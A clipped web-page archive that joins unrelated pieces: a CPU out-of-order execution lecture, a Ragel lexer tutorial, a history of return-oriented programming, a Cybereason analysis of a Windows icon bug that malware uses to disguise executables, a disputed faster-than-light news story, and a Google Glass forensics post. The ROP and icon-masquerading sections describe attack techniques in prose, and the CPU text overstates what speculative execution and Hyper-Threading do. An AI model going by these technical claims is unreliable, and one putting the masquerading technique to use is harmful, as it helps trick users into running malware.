If you were following carefully you may have noticed one very important issue in the way it was just described. What happens if there is a change in execution location? For example, what happens when the code hits an 'if' statement or a 'switch" statement? On the older processors this meant discarding the work in the superscalar pipeline and waiting for the new branch to begin processing. 

A pipeline stall when the CPU holds one hundred instructions or more is an extreme performance penalty. Every instruction needs to wait while the instructions at the new location are loaded and the pipeline restarted. In this situation the OOO core needs to cancel work in progress, roll back to the earlier state, wait until all the micro-ops are retired, discard them and their results, and then continue at the new location. This was a very difficult problem and happened frequently in the design. The performance of this situation was unacceptable to the engineers. This is where the other major feature of the OOO core comes in.

Speculative execution was their answer. Speculative execution means that when a conditional statement (such as an 'if' block) is encountered the OOO core will simply decode and run all the branches of the code. As soon as the core figures out which branch was the correct one, the results from the unused branches would be discarded. This prevents the stall at the small cost of running the code inside the wrong branch. The CPU designers also included a branch prediction cache which further improved the results when it was forced to guess at multiple branch locations. We still have CPU stalls from this problem, but the solutions in place have reduced it to the point where it is a rare exception rather than a usual condition.

Finally, CPUs with Hyper-Threading enabled will expose two virtual processors for a single shared OOO core. They share a Reorder Buffer and OOO core, appearing as two separate processors to the operating system. That looks like this:

 
A processor with Hyper-Threading gives two virtual processors which in turn gives more data to the OOO core. This gives a performance increase during general workloads. A few compute-intensive workflows that are written to take advantage of every processor can saturate the OOO core. During those situations Hyper-Threading can slightly decrease overall performance. Those workflows are relatively rare; Hyper-Threading usually provides consumers with approximately double the speed they would see for their everyday computer tasks.
An Example 
All of this may seem a little confusing. Hopefully an example will clear everything up.

From the application's perspective, we are still running on the same instruction pipeline as the old 8086. There is a black box. The instruction pointed to by the instruction pointer is processed by the black box, and when it comes out the results are reflected in memory.

From the instruction's point of view, however, that black box is quite a ride.

Here is today’s (circa 2008-2013) CPU ride, as seen by an instruction:

First, you are a program instruction. Your program is being run.

You are waiting patiently for the instruction pointer to point to you so you can be processed. When the instruction pointer gets about 4 kilobytes away from you -- about 1500 instructions away -- you get collected into the instruction cache. Loading into the cache takes some time, but you are far away from being run. This prefetch is part of the first pipeline stage.

The instruction pointer gets closer and closer. When the instruction pointer gets about 24 instructions away, you and five neighbors get pulled into the instruction queue.

This processor has four decoders. It has room for one complex instruction and up to three simple instructions. You happen to be a complex instruction and are decoded into four micro-ops.

Decoding is a multi-step process. Part of the decode process involved a scan to see what data you need and if you are likely to cause a jump to somewhere new. The decoder detected a need for some additional data. Unknown to you, somewhere on the far side of the computer, your data starts getting loaded into the data cache. 

Your four micro-ops step up to the register alias table. You announce which memory address you read from (it happens to be fs:[eax+18h]) and the chip translates that into temporary addresses for your micro-ops. Your micro-ops enter the reorder buffer, or ROB. At the first available opportunity they move to the Reservation Station.

The Reservation Station holds instructions that are ready to be run. Your third micro-op is immediately picked up by Execution Port 5. You don’t know why it was selected first, but it is gone. A few cycles later your first micro-op rushes to Port 2, the Load Address execution unit. The remaining micro-ops wait as various ports collect other micro-ops. They wait as Port 2 loads data from the memory cache and puts it in temporary memory slots.

They wait a long time...

A very long time... 

Other instructions come and go while they wait for their micro-op friend to load the right data. Good thing this processor knows how to handle things out of order. 

Suddenly both of the remaining micro-ops are picked up by Execution Ports 0 and 1. The data load must be complete. The micro-ops are all run, and eventually the four micro-ops meet back in the Reservation Station.

As they travel back through the gate the micro-ops hand in their tickets listing their temporary addresses. The micro-ops are collected and joined, and you, as an instruction, feel whole again. The CPU hands you your result, and gently directs you to the exit. 

There is a short line through a door marked "Retirement". You get in line, and discover you are standing next to the same instructions you came in with. You are even standing in the same order. It turns out this out-of-order core really knows its business.

Each instruction then goes out of the CPU, seeming to exit one at a time, in the same order they were pointed to by the instruction pointer.
Conclusion 
This little lecture has hopefully shed some light on what happens inside a CPU. It isn't all magic, smoke, and mirrors.

Getting back to the original questions, we now have some good answers. 

What goes on inside the CPU? There is a complex world where instructions are broken down into micro-operations, processed as soon as possible in any order, then put back together in order and in place. To an outsider it looks like they are being processed sequentially and independently. But now we know that on the inside they are handled out of order, sometimes even running braches of code based on a prediction that they will be useful.

How long does it take for one instruction to run? While there was a good answer to this in the non-pipelined world, in today's processors the time it takes is based on what instructions are nearby, and the size and contents of the neighboring caches. There is a minimum amount of time it takes to go through the processor, but that is roughly constant. A good programmer and optimizing compiler can make many instructions run in around amortized zero time. With an amortized zero time it is not the cost of the instruction that is slow; instead it means it takes the time to work through the OOO core and the time to wait for cache memory to load and unload.

What does it mean when a new CPU has a 12-stage pipeline, or 18-stage, or even a "deep" 31-stage pipeline? It means more instructions are invited to the party at once. A very deep pipeline can mean that several hundred instructions can be marked as 'in progress' at once. When everything is going well the OOO core is kept very busy and the processor gains an impressive throughput of instructions. Unfortunately, this also means that a pipeline stall moves from being a mild annoyance like it was in the early days, to becoming a performance nightmare as hundreds of instructions need to wait around for the pipeline to clear out.

How can I apply this to my programs? The good news is that CPUs can anticipate most common patterns, and compilers have been optimizing for OOO core for nearly two decades. The CPU runs best when instructions and data are all in order. Always keep your code simple. Simple and straightforward code will help the compiler's optimizer identify and speed up the results. Don’t jump around if you can help it, and if you need to jump, try to jump around exactly the same way every time. Complex designs like dynamic jump tables are fancy and can do a lot, but neither the compiler or CPU will predict what will be coming up, so complex code is very likely to result in stalls and mis-predictions. On the other side, keep your data simple. Keep your data in order, adjacent, and consecutive to prevent data stalls. Choosing the right data structures and data layouts can do much to encourage good performance. As long as you keep your code and data simple you can generally rely on your compiler’s optimizer to do the rest.

Thanks for joining me on the ride.


updates
2013-05-17 Removed a word that someone was offended by  
﻿http://arxiv.org/pdf/1212.5204.pdf 
1212.5204.pdf (application/pdf-Objekt)
Created:
1/24/2013 9:08:39 AM
Updated:
1/24/2013 9:08:39 AM
Author:

Tags:
Debugging papers code-review analysis


  
 
﻿http://thingsaaronmade.com/blog/a-simple-intro-to-writing-a-lexer-with-ragel.html 
A simple intro to writing a lexer with Ragel.
Created:
1/18/2013 8:43:42 AM
Updated:
1/18/2013 9:16:22 AM
Author:

Tags:
parser code-gen


A simple intro to writing a lexer with Ragel.
It seems that there is a fair variety of tools designed to make writing Lexers, Scanners and Tokenizers easier, but Ragel has a reputation for being simple and consistently producing the fastest final code. This is a short and simple intro to Ragel for a common use-case: writing a Lexer for a programming language.
Start by making sure you have Ragel installed. This process varies for each OS so I'm not going to cover it in detail. On OS X it's as easy as installing MacPorts and then opening a terminal and typing 'sudo port install ragel'. You should now be able to use Ragel via the command-line.
Next you need to decide on your 'host language'. The host language is preferably the same language that the rest of your project is written in, though many people opt to use C for their lexer because of the dramatic increase in speed that it provides. Ragel supports a number of host languages including: C, C++, Objective-C, D, Java and Ruby. For the purpose of this intro we will be using Ruby as it won't obscure the Ragel-specific code as much as other languages would.
First let's create a blank file called 'lexer.rl' and then define an empty state machine inside it. Ragel state machines are defined inside blocks demarcated with '%%{ }%%' like so:
  
1
2
3
4
5
6
7
8
# lexer.rl
%%{
 
machine test_lexer;
 
}%%
 
%% write data;
view raw ragel_lexer_blank.rl This Gist brought to you by GitHub.
In this Ragel code block we are defining a blank state machine called 'test_lexer', then telling Ragel that the state machine should be compiled in this file using the 'write data' directive. The ability to define where the state machine should be compiled is more useful once we start defining machines that span multiple files. Regions outside of '%%{ }%%' blocks and lines that do not start with '%%' are assumed to be written in the host language.
In Ragel the syntax for defining a lexer/scanner differs from that required for creating a normal state-machine and looks like this:
  
1
2
3
4
5
6
7
8
9
10
%%{
 
machine test_lexer;
<scanner_name> := |*
<token_description> => {<action>};
<token_description> => {<action>};
*|;
}%%
view raw ragel_lexer_scanner_example.rl This Gist brought to you by GitHub.
If the 'scanner_name' is 'main' then it is automatically run when our state machine is executed. An 'action' is a section of host-language code that is executed whenever the token represented by 'token_description' is found. It could be something as simple as printing out the token, or it could be code to affect the state of something external like a parser.
Token descriptions can either be a string literal (like 'keyword') or a regular expression literal (like [0-9]*). However it is much easier to read our final scanner if we store our token descriptions inside variables with useful names like so:
  
1
2
3
4
5
6
7
8
9
10
11
12
13
%%{
 
machine test_lexer;
integer = <token_description>;
float = <token_description>;
main := |*
integer => {<action>};
float => {<action>};
*|;
}%%
view raw ragel_lexer_scanner_example_w_name_tokens.rl This Gist brought to you by GitHub.
We can compile our state machine by passing the file to Ragel like so:  
1
ragel -R lexer.rl
view raw ragel_compile_command.sh This Gist brought to you by GitHub.
The '-R' switch tells Ragel that we're using Ruby as our host language. This command will produce an output file called 'lexer.rb' which we can run by itself or incorporate into a larger project.
In order to actually run a state machine we need to encapsulate several Ragel directives (lines starting with '%%') into a function definition like this:
  
1
2
3
4
5
6
7
8
9
10
def run_lexer(data)
data = data.unpack("c*") if(data.is_a?(String))
eof = data.length
token_array = []
%% write init;
%% write exec;
 
puts token_array.inspect
end
view raw ragel_lexer_run_lexer.rb This Gist brought to you by GitHub.
Our 'run_lexer' function serves several purposes: it unpacks our data string into an array of ordinal values, it tells the state machine how long our data is using the 'eof' variable, it creates a blank array for our tokens, initializes the state machine with 'write init', executes it with 'write exec' and then tells us about the tokens found by outputting a human-readable version of our token_array to stdout.
Now that these pieces are in place we're ready to start defining our lexer. The first step is defining our token description for an integer:
  
1
2
3
4
5
6
7
%%{
 
machine test_lexer;
integer = ('+'|'-')?[0-9]+;
}%%
view raw ragel_lexer_w_token.rl This Gist brought to you by GitHub.
We have to define a description for each token that may be present in the source data. It's worth noting that in Ragel encountering an unknown pattern/token counts as an error, so we will have to later define a pattern for everything that could be in the grammar we're lexing, including whitespace, even though we're not actually doing anything with it.
Now we will create a basic scanner definition that looks for an integer, but does nothing with it:
  
1
2
3
4
5
6
7
8
9
10
11
%%{
 
machine test_lexer;
integer = ('+'|'-')?[0-9]+;
main := |*
integer;
*|;
}%%
view raw ragel_lexer_definition.rl This Gist brought to you by GitHub.
Next we'll create our first action based on a token:
  
1
2
3
4
5
6
7
8
9
10
11
%%{
 
machine test_lexer;
integer = ('+'|'-')?[0-9]+;
main := |*
integer => { puts "Integer" };
*|;
}%%
view raw ragel_lexer_w_action.rl This Gist brought to you by GitHub.
Sections of Ragel code inside braces like '{ puts "Integer" }' are actually written in the host language, in this case Ruby. So at this point if we were to run the lexer against a string like "190" you would simply see "Integer" written to stdout.
If we want to do something more useful with the token we have captured then we need to use the 'ts' and 'te' variables that are defined by the Ragel scanner. 'ts' stands for 'token start', while 'te' stands for 'token end'. These represent the indices from our data array that match the start and end of the current token. In Ruby we could use them like so:
  
1
2
3
4
5
6
7
8
9
10
11
%%{
 
machine test_lexer;
integer = ('+'|'-')?[0-9]+;
main := |*
integer => { puts "Integer: " + data[ts..te].pack("c*") };
*|;
}%%
view raw ragel_lexer_token_extraction.rl This Gist brought to you by GitHub.
If we were to run this scanner against a string like "-999" we would see "Integer: -999" on stdout. This shows that it's pretty easy to capture the data we care about, from here we just need to devise a method for storing this data. Let's setup a function called 'emit' that will append the current token to an array:
  
1
2
3
def emit(token_name, data, target_array, ts, te)
target_array << {:name => token_name.to_sym, :value => data[ts...te].pack("c*") }
end
view raw ragel_lexer_emit_token.rb This Gist brought to you by GitHub.
And then incorporate it into the action associated with the integer token:
  
1
2
3
4
5
6
7
8
9
10
11
12
13
%%{
 
machine test_lexer;
integer = ('+'|'-')?[0-9]+;
main := |*
integer => {
emit(:integer_literal, data, token_array, ts, te)
};
*|;
}%%
view raw ragel_lexer_action_emmit.rl This Gist brought to you by GitHub.
You'll notice the action definition is now spread across multiple lines for readability. Running this lexer against a string like "-101" will now produce an array like:
  
1
[{:name => :integer_literal, :value => "-101" }]
view raw ragel_lexer_emit_example.rb This Gist brought to you by GitHub.
So you can see we now have everything in place to build out our lexer to handle the full target grammar, which we can do quite simply by adding further token descriptions and their associated actions, the code for our full lexer will look like this:
  
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
=begin
%%{
 
machine simple_lexer;
integer = ('+'|'-')?[0-9]+;
float = ('+'|'-')?[0-9]+'.'[0-9]+;
assignment = '=';
identifier = [a-zA-Z][a-zA-Z_]+;
main := |*
integer => {
emit(:integer_literal, data, token_array, ts, te)
};
float => {
emit(:float_literal, data, token_array, ts, te)
};
assignment => {
emit(:assignment_operator, data, token_array, ts, te)
};
identifier => {
emit(:identifier, data, token_array, ts, te)
};
space;
*|;
 
}%%
=end
 
%% write data;
# %% this just fixes our syntax highlighting...
 
def emit(token_name, data, target_array, ts, te)
target_array << {:name => token_name.to_sym, :value => data[ts...te].pack("c*") }
end
 
def run_lexer(data)
data = data.unpack("c*") if(data.is_a?(String))
eof = data.length
token_array = []
%% write init;
%% write exec;
 
puts token_array.inspect
end
view raw ragel_lexer.rb This Gist brought to you by GitHub.
You'll notice that our last token description 'space' is not defined anywhere, that's because it is a token description built into Ragel. There is no action associated with this token because we don't want to do anything with it, we simply need to define it to say that whitespace is valid in our target grammar.
We can run our new lexer against data very easily like so:
  
1
2
run_lexer("test = -100")
#=> [{:value=>"test", :name=>:identifier}, {:value=>"=", :name=>:assignment_operator}, {:value=>"-100", :name=>:integer_literal}]
view raw rage_lexer_run_example.rb This Gist brought to you by GitHub.
This obviously provides a pretty solid base against which we can start implementing something more serious. If you're interested in learning more about Ragel and it's possible applications check out the Ragel site and the Ragel user guide.
﻿http://blog.zynamics.com/2010/03/12/a-gentle-introduction-to-return-oriented-programming/ 
A gentle introduction to return-oriented programming « blog.zynamics.com
Created:
3/12/2010 6:09:59 PM
Updated:
3/12/2010 6:10:11 PM
Author:

Tags:
programming


A gentle introduction to return-oriented programming
By Tim Kornau
Hi,
As I have promised in my last post I will start a series about return-oriented programming. I start with a short introduction about the topic. The introduction covers the origin of return-oriented programming, describes what return-oriented programming is and ends with a definition of return-oriented programming which I will use in the future posts. I will also take some of the recent discussions on Twitter into account which showed that even though I thought I did my history research pretty well, there were still some mailing list post missing from my time-line.
Why do we need return-oriented programming ?
Return-oriented programming is a technique which allows an attacker to execute code in the presence of the following defensive measures. 
· Non executable memory segments
· Code signing
Where does return-oriented programming come from ?
Return-oriented programming is a recently coined term which describes a technique that has been developed in an iterative process in the security community. The terminology return-oriented programming is used for a subset of techniques which can be referred to as code reuse techniques. To understand where return-oriented programming comes from I show some of the milestones of the techniques history. 
Buffer overflows were first publicly documented in the Computer Security Technology Planning Study in 1972 (Appendix 1. Incomplete Parameter Checking). To put this in perspective one must remember that even though we now know that this document was published at the time only a small circle of individuals had access to the document then. 
A buffer overflow is, in the original form, a very simple error that is introduced if a function does not perform proper bounds checking for the accessed memory. Basically this means the function receives more input data than it can store. Assuming that the overflowed buffer was located on the stack, the attacker can now write a certain amount of data onto the stack where other variables and the return address might be located. Therefore the attacker can hijack the control flow of the current process and perform an arbitrary computation. 
The first major attack which used a buffer overflow as the targeted vulnerability was the Morris worm in 1988. But it was not until the late 90s that major operating systems started to have any protection against buffer overflows. For Microsoft operating systems a form of protection against buffer overflows was only added after the Code-Red and Slammer worms had changed their security mindset in 2004. 
One of the defensive measures which have been developed to defend against buffer overflows is the option to mark data memory segments as non-executable. This lead to the next evolutionary step towards return-oriented programming. 

Return-into-library technique
The return-into-library technique is the root on which all return-oriented exploit approaches are based. 
A return-into-library exploit works as follows: After the attacker has hijacked the control flow, a library function he chooses is executed. The attacker has made sure that the stack pointer points into a memory segment he controls. The attacker has set up the data in the memory segment in a way that it provides the right arguments to the library function of his choice. Through this he can execute a function with the needed arguments. 
The technique of return-into-library exploits was initially presented publicly by Solar Designer in his 1997 posting to the Bugtraq mailing list. In this mail the groundwork for return-into-library exploiting was presented. The next milestone in the development of the technique was the Phrack article by Nergal which summarized the known techniques and broadened the attack vector by introducing esp shifting which allowed unlimited chaining of function calls to be used within return-into-library exploitation. 
Borrowed code chunks technique
With the introduction of hardware-supported non-executable memory segments in combination with the support of 64 Bit CPUs the game changed again and traditional return-into-library exploits ceased to work. This was due to an ABI change which now required that the arguments to a function must be passed in registers rather than on the stack. Stealth developed a new approach that uses chunks of library functions instead of the call to the function itself to still be able to exploit buffer overflows on machines that employed the newly introduced defense. The approach is designed around the idea to locate instruction sequences which pop values from the stack into the right registers for function calls. By using his approach an attacker can use return-into-library exploits with the new ABI. A library which uses this technique in an automated fashion is DEPLibwhich has been developed by Pablo Sole. This library completely automates the return-oriented approach for Windows operating systems but it lacks support for loops and conditional branches (which is from a practical point of view negligible). 
Return-oriented programming
The return-oriented programming technique broadens the attack vector even further by introducing loops and conditional branches for the return-oriented approach. The first academic work published in the field of return-oriented programming is Hovav Shacham’s ”The Geometry of Innocent Flesh on the Bone: Return-into-libc without function Calls (on the x86)” It describes the two major points which get addressed by return-oriented programming in contrast to the rest of the return-into-library techniques. 
· The return-into-library technique has no support for loops and conditional branching.
· The removal of functions from libraries does not provide any security against return-oriented programming.
For the x86 the approach he uses to find suitable instruction sequences is based on the fact that the x86 uses a variable length instruction set. Therefore it is possible to search for single binary opcodes which alter control flow such as the return instruction (0xC3) and disassemble the binary from this position backwards. Because x86 uses a variable length instruction set the bytes before the return instruction can provide many possible instruction sequences. Shacham also defined the term gadget which describes one useful instruction sequence which performs one useful operation such as addition. 
One assumption which Shacham made is that he thought a fixed length instruction set would make the application of return-oriented programming unfeasible. This was shown not to be the case by Ryan Roemers work which targeted the SPARC architecture which can be seen as the anti-thesis to the x86 architecture. One change which he needed to incorporate into his gadget set was that only memory could be used to pass information between gadgets. This is due to the way SPARC passes information in registers by shifting the register window. 
The most practical work which has been published in the field of return-oriented programming is the recent work which targeted the AVC Advantage voting system. This work has provided proof that return-oriented programming is a valid tool for the offensive security researcher as no other technique would have been as useful against the Harvard-type architecture upon which the AVC Advantage is build. 
What did we learn ?
Return-oriented programming is a recently coined term but the underlying technology has a long history which is based on the work of many security researchers. We have started with its roots in return-into-library attacks and showed how it evolved until today. 
In the next post on return-oriented programming I will explain the first steps of my approach to make return-oriented programming platform independently. 
Tim 


﻿http://arxiv.org/pdf/1407.4245v1.pdf?utm_content=buffer3c199&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer 
1407.4245v1.pdf
Created:
8/20/2014 9:37:38 AM
Updated:
8/20/2014 9:37:38 AM
Author:

Tags:
attacks papers virtusalisation mitigations


﻿http://www.telegraph.co.uk/science/science-news/3303699/We-have-broken-speed-of-light.html 
'We have broken speed of light' - Telegraph
Created:
10/26/2009 9:56:44 PM
Updated:
10/26/2009 9:56:49 PM
Author:

Tags:
LOLZ


Accessibility links 
· Skip to article
· Skip to navigation
Digital Publisher of the Year | Monday 26 October 2009 | Science News feed
Advertisement 

Website of the Telegraph Media Group with breaking news, sport, business, latest UK and world news. Content from the Daily Telegraph and Sunday Telegraph newspapers and video from Telegraph TV. 
Enhanced by Google 
· Home
· News
· Sport
· Finance
· Lifestyle
· Comment
· Travel
· Culture
· Technology
· Fashion
· Jobs
· Dating
· Games
·  Offers
· UK
· World
· UK Politics
· Celebrities
· Obituaries
· Weird
· Earth
· Science
· Health News
· Education
· Topics
· News Blogs
· News Video
· Science News
· Space
· Dinosaurs
· Evolution
· View from the Lab
· Science Picture Galleries
1. Home
2. Science
3. Science News
'We have broken speed of light' 
  
By Nic Fleming, Science Correspondent
Published: 12:01AM BST 16 Aug 2007 
A pair of German physicists claim to have broken the speed of light - an achievement that would undermine our entire understanding of space and time. 
According to Einstein's special theory of relativity, it would require an infinite amount of energy to propel an object at more than 186,000 miles per second. 
  
Related Articles 
· 24 August 2005[Connected]: Could Einstein have got it wrong?
· 7 December 2000[Connected]: Even Einstein was in need of a helping hand
· Found: hell planet where rock falls as rain
· Eighth ring found around Saturn
· Mars communication solved
· Orionid meteor shower
However, Dr Gunter Nimtz and Dr Alfons Stahlhofen, of the University of Koblenz, say they may have breached a key tenet of that theory. 
The pair say they have conducted an experiment in which microwave photons - energetic packets of light - travelled "instantaneously" between a pair of prisms that had been moved up to 3ft apart. 
Being able to travel faster than the speed of light would lead to a wide variety of bizarre consequences. 
For instance, an astronaut moving faster than it would theoretically arrive at a destination before leaving. 
The scientists were investigating a phenomenon called quantum tunnelling, which allows sub-atomic particles to break apparently unbreakable laws. 
Dr Nimtz told New Scientist magazine: "For the time being, this is the only violation of special relativity that I know of." 
·
·
·
·
·
·
·
·
·
·
·
·
· Email
· Print
  
· Share
· |
·
·
· Email
· |
· Print
http://www.telegraph.co.uk/science/science-news/3303699/We-have-broken-speed-of-light.html
TelegraphNews 
  
Science News
 Get feed updates
Earth
 Get feed updates




More on 
Science News
 Get feed updates
Earth
 Get feed updates
Advertisement 
Scientific Jobs
Advertisement 
Science Most Viewed 
· TODAY
· PAST WEEK
· PAST MONTH
Advertisement 
Advertisement 
Advertisement 
MORE FROM TELEGRAPH.CO.UK
 
TELEGRAPH JOBS
Brain training games
Spatial recall, verbal fluency, processing speed - give your mind a workout with Telegraph Jobs' brain training games. 
Test yourself
UK HOTELS
 
We pick 20 of the most tempting and best-value hotels for Christmas.
PERSONAL FINANCE
 
How to beat the mortgage drought.
TELEGRAPH DATING
 
Real life stories from our dating members who have found someone amazing.
MOTORING
 
One in a million Morris Minor is coming up for auction.
Back to top
Hot topics 
· Royal Mail
· MPs' Expenses
· Football
· Afghanistan
· Microsoft
· Google
· Twitter
· Tokyo Motor Show

· News
· UK News
· World News
· Obituaries
· Travel
· Health
· Jobs
· Sport
· Formula 1
· Football
· Cricket
· Culture
· Motoring
· Dating
· Finance
· Personal Finance
· Markets
· Economics
· Fashion
· Property
· Games
· Comment
· Letters
· My Telegraph
· Blogs
· Technology
· Gardening
· Offers
· Contact Us
· Privacy Policy
· Advertising
· A to Z
· Announcements
· Marketplace
· Promotions
· RSS feeds
· Widgets
· Mobile
· Epaper
· Reader Prints
· Subscribe
· Syndication
© Copyright of Telegraph Media Group Limited 
Terms and Conditions
Today's News
Archive
Style Book
Weather Forecast
http://www.telegraph.co.uk/science/science-news/3303699/We-have-broken-speed-of-light.html
﻿433MHz ASK signal analysis - wireless door bell
Created:
5/12/2015 11:37:31 AM
Updated:
5/12/2015 11:37:54 AM
Author:

Tags:
wireless


﻿http://www.sans.org/reading_room/whitepapers/testing/rss/a_taste_of_scapy_33249 
A Taste of Scapy
Created:
1/4/2010 11:09:46 AM
Updated:
1/4/2010 11:10:12 AM
Author:

Tags:
python network-security Tutorials programming


﻿https://www.cybereason.com/labs-a-zebra-in-sheeps-clothing-how-a-microsoft-icon-display-bug-in-windows-allows-attackers-to-masquerade-pe-files-with-special-icons/ 
A zebra in sheep’s clothing: How a Microsoft icon-display bug in Windows allows attackers to masquerade PE files with special icons
Created:
9/4/2017 9:43:45 AM
Updated:
9/4/2017 9:43:45 AM
Author:
wishi
Tags:





A zebra in sheep’s clothing: How a Microsoft icon-display bug in Windows allows attackers to masquerade PE files with special icons


Aug 
2 
2017

Subscribe to receive weekly blog updates
Cybereason Blog
Cybereason Labs
Both
POST BY: URI STERNFELD AND PHILIP TSUKERMAN
An icon-display bug in Windows allows attackers to masquerade PE files with special icons by automatically “borrowing” other commonly used icons from the local machine, thus tricking users into clicking them. The bug behind this vulnerability lies deep inside the image-handling code of Windows. The bug has been present since at least Windows 7 and is still present in the most updated versions of Windows 10.
We discovered the bug while researching a recent batch of malicious PE files. After copying files from one directory to another, we noticed an odd behavior:  some of the files’ icons changed. To rule out the possibility of a mistake (or a simple lack of caffeine), we copied the files to a different directory and again the icons of these files changed to a different commonly-used and completely unrelated icon. This piqued our interest and prompted an investigation into this strange phenomenon.
To see this phenomenon in action, check out this video:

Cybereason discovers Windows icon display bug allowing attackers to masquerade files
 
The batch of malware from April 2017 included several dozen samples of the Cerber ransomware, all of which exhibited this anomaly.
The following are the icons extracted from these samples, as displayed in Windows Explorer:

At first glance, one might think these are simply a bunch of benign-looking icons used by malware (admittedly, the Cybereason icon at the top-left corner is a bit of an odd choice), but after converting these icons to a different internal image format, the icons reveal their true form:

As can be seen, these files are almost identical with slight random pixel modifications, suggesting they were auto-generated to avoid icon-based signatures. The original icon seems a bit odd, though. It’s definitely based on the Adobe logo, and it’s all black-and-white, but other than that it’s a valid icon file.
(This is the original Adobe logo):

However, while many malicious programs use stolen pieces of resources to hide themselves both from security applications as well as prying human eyes, the icons in this case were not the ones actually displayed on the screen. Another thing they all had in common, other than mimicking the Adobe icon, was that they were all what we dub “true monochrome icon”, or TMI for short.
“True monochrome icons” are icons that have two specific qualities – they have only two colors (i.e: their bits-per-pixel count is 1) and these two colors are exactly black (0x000000) and white (0xFFFFFF). It should be noted that icons may be monochrome with other colors, as well as black-and-white but not monochrome (i.e: bpp higher than 1). However, this phenomenon only occurs for true monochrome icons.
Full documentation of the icon file format can be found here:
https://msdn.microsoft.com/en-us/library/ms997538.aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/dd183376%28v=vs.85%29.aspx
Here is an example of such a file, extracted from a Cerber sample:

Empiric experimentation showed that the icon-switching anomaly occurred for any TMI, not requiring them to be specially crafted. To prove this point, we made our own empty TMI using a hex editor (this can be easily reproduced by diligent readers, do-it-yourself style):

We then embedded this icon as the only icon of a small “hello world” application. Instead of the single-pixel monochrome icon, Windows Explorer displayed it like this:

 
After renaming it in the same directory, the displayed icon was changed to this:

 

So, what’s going on?
It appears the problem begins with the way rendered icons are cached, and the special treatment TMIs receive, which causes them not to overwrite existing icons.
Windows Explorer, as well as any other explorer-based frames in other applications, implements icon caching using the CImageList class from comctl32.dll (User Experience Controls Library):
https://msdn.microsoft.com/en-us/library/9xc4z2c7.aspx
The cache is implemented by mapping the file’s path to an index inside a CImageList (there are several such caches, one for each icon display size). Therefore, when viewing a file whose icon was already rendered in the past, it will simply be taken from the cache. Paths which were not yet encountered by the process will need to be rendered from scratch based on the file type and added to the cache. That is why when viewing a new directory with multiple icon files or PE files with embedded icons, files will be displayed gradually with some delay. When files are copied or renamed, their icon will be rendered again as they will be treated as newly-encountered paths.
These caches, however, have a limited and relatively small size. When a new icon is added to the image list, if it’s not yet empty, the index used will be -1 and the new icon will be appended. However, once the list is full, the new icon will overwrite a previously-created one by replacing it at at its index (presumably on a LRU-basis).
This logic is implemented in the CImageList::_ReplaceIcon function:

Add or replace depending on the given index:

After some manipulations, the function checks whether the current image at that index has an alpha channel, and if so (as is almost always the case), sets a flag which is later used to decide how to call DrawIconEx.

If this flag is set, the function will later call DrawIconEx to actually draw the given icon over the pre-existing one in the list using the flag DI_MASK (1) instead of DI_NORMAL (3). 

Internally, icons and images in general may contain two different pixel maps – the “colors” and the “mask”, which can be applied over the colors, as can be seen in the documentation of ICONINFO:
https://msdn.microsoft.com/en-us/library/windows/desktop/ms648052.aspx
So what happens in essence is that only the “mask” part of the icon is drawn and overwrites the DC (Device Context) of the mask ( [esi+7ch] ) instead of the DC of the colors ( [esi+78h] ). When the icon is a TMI, this in fact results in no new pixels being overwritten and the rendering of the icon borrows the previous occupant of the CImageList at this index!
This requires the cache to be full, which depends on the caller of these functions. However, for explorer-like components (such as “file open” dialog boxes) the size is usually very small.
Here is an example which shows this can happen in any process which uses such components. This is a screenshot taken from Outlook 2016’s “add attachment” window when viewing a directory full of TMIs (disclaimer: this screenshot was taken after browsing a few icon-rich directories in the same window before accessing the monochrome-icons directory):

This bug will trigger not only for the icon files, of course, but for any PE file which embeds them. The condition is that these are the only type of icons in the file, since Windows’ algorithm for choosing the “best fit” icon for rendering tends to go over embedded icons based on size and in the order of high-color-depth to low-color-depth.
Since this is the case, we decided to search our malware database for samples which contain only true-monochrome-icons in their resource section and managed to find several hundred such samples dating back from 2013 (the earliest samples in our database). All of them, without exception, triggered this bug. A similar search in the benign-samples database yielded no results.
We divided these samples into several groups, based on the icon variations they were using:



As mentioned above, the first detection was for Cerber ransomware samples from April 17 that abused the Adobe logo icon. Here are five such samples (and the way they currently appear on our machine):

https://www.virustotal.com/en/file/10b2fd1e06c3ac73d23e67bb59c4294cef8485bdc1b116005c56bfb950f21e44/analysis/
https://www.virustotal.com/en/file/4559b52596deb7a8181df722bebcf08921b97451d944840cf6bdf0c04c1bc364/analysis/
https://www.virustotal.com/en/file/bf66c5ccfa0319fe695d8fe5afcb5492c909aff70748b550259ac20974a18f80/analysis/
https://www.virustotal.com/en/file/f2bf40f15b44a28be2d9ff5c1572a84c6ba5a8942d6c1a01aa44db51aa2d1ccb/analysis/
https://www.virustotal.com/en/file/f7c15cb91ddaebf03f523e4eed412377217b511ee8f37ba99a8d8b7832f227df/analysis/
It’s possible that these samples are only a small group of auto-generated PE files with pseudo-random resources attached to mask them, and that the bug was never knowingly or intentionally exploited by Cerber – it’s difficult to determine this with certainty. However, we also managed to find samples ranging from 2014 to 2017 that contain a single, empty, true-monochrome icon similar to the one we crafted ourselves. This does prove, in our opinion, that the creators of these files knew of this bug and actively exploited it, since an empty icon which does not attempt by itself to mimic any existing application is worthless otherwise. 
 
This bug, while not a major security vulnerability, is a reminder to remain vigilant for spear phishing campaigns. The same security advice that users are accustomed to hearing applies to this situation as well: Avoid opening suspicious emails and attachments. Also, un-hide extensions for known files types, as it will help identifying executable extensions, as seen here:

The bug was reported to Microsoft on June 2017 and our research was published with their permission.
 
cerber, Cybereason Labs, information security, PE files, ransomware, Window 7, Windows, Windows 10

See all blog posts | See all lab blog posts

﻿http://desautelsja.blogspot.se/2014/04/a-forensic-examiners-guide-to-google.html 
A Forensic Examiner's Guide to Google Glass
Created:
4/23/2014 7:07:26 PM
Updated:
4/23/2014 7:07:26 PM
Author:

Tags:
Embedded Forensics mobile/embedded


A Forensic Examiner's Guide to Google Glass

In my last blog post, I talked about forensically analyzing Google Glass voice commands. Google Glass recognizes user's voice commands and saves the text of the commands in a SQLite database called "saved_audio". This means, when a user uses a voice command to Google search something, it is stored in a database. Some voice commands, such as taking a picture, store the complete voice request in the database. Other commands, such as a Google search, requires Glass to reach out to grab information, and is cut off after the initial request. So although the Google search command is stored in the database, what the user actually searched for is not stored in "saved_audio".

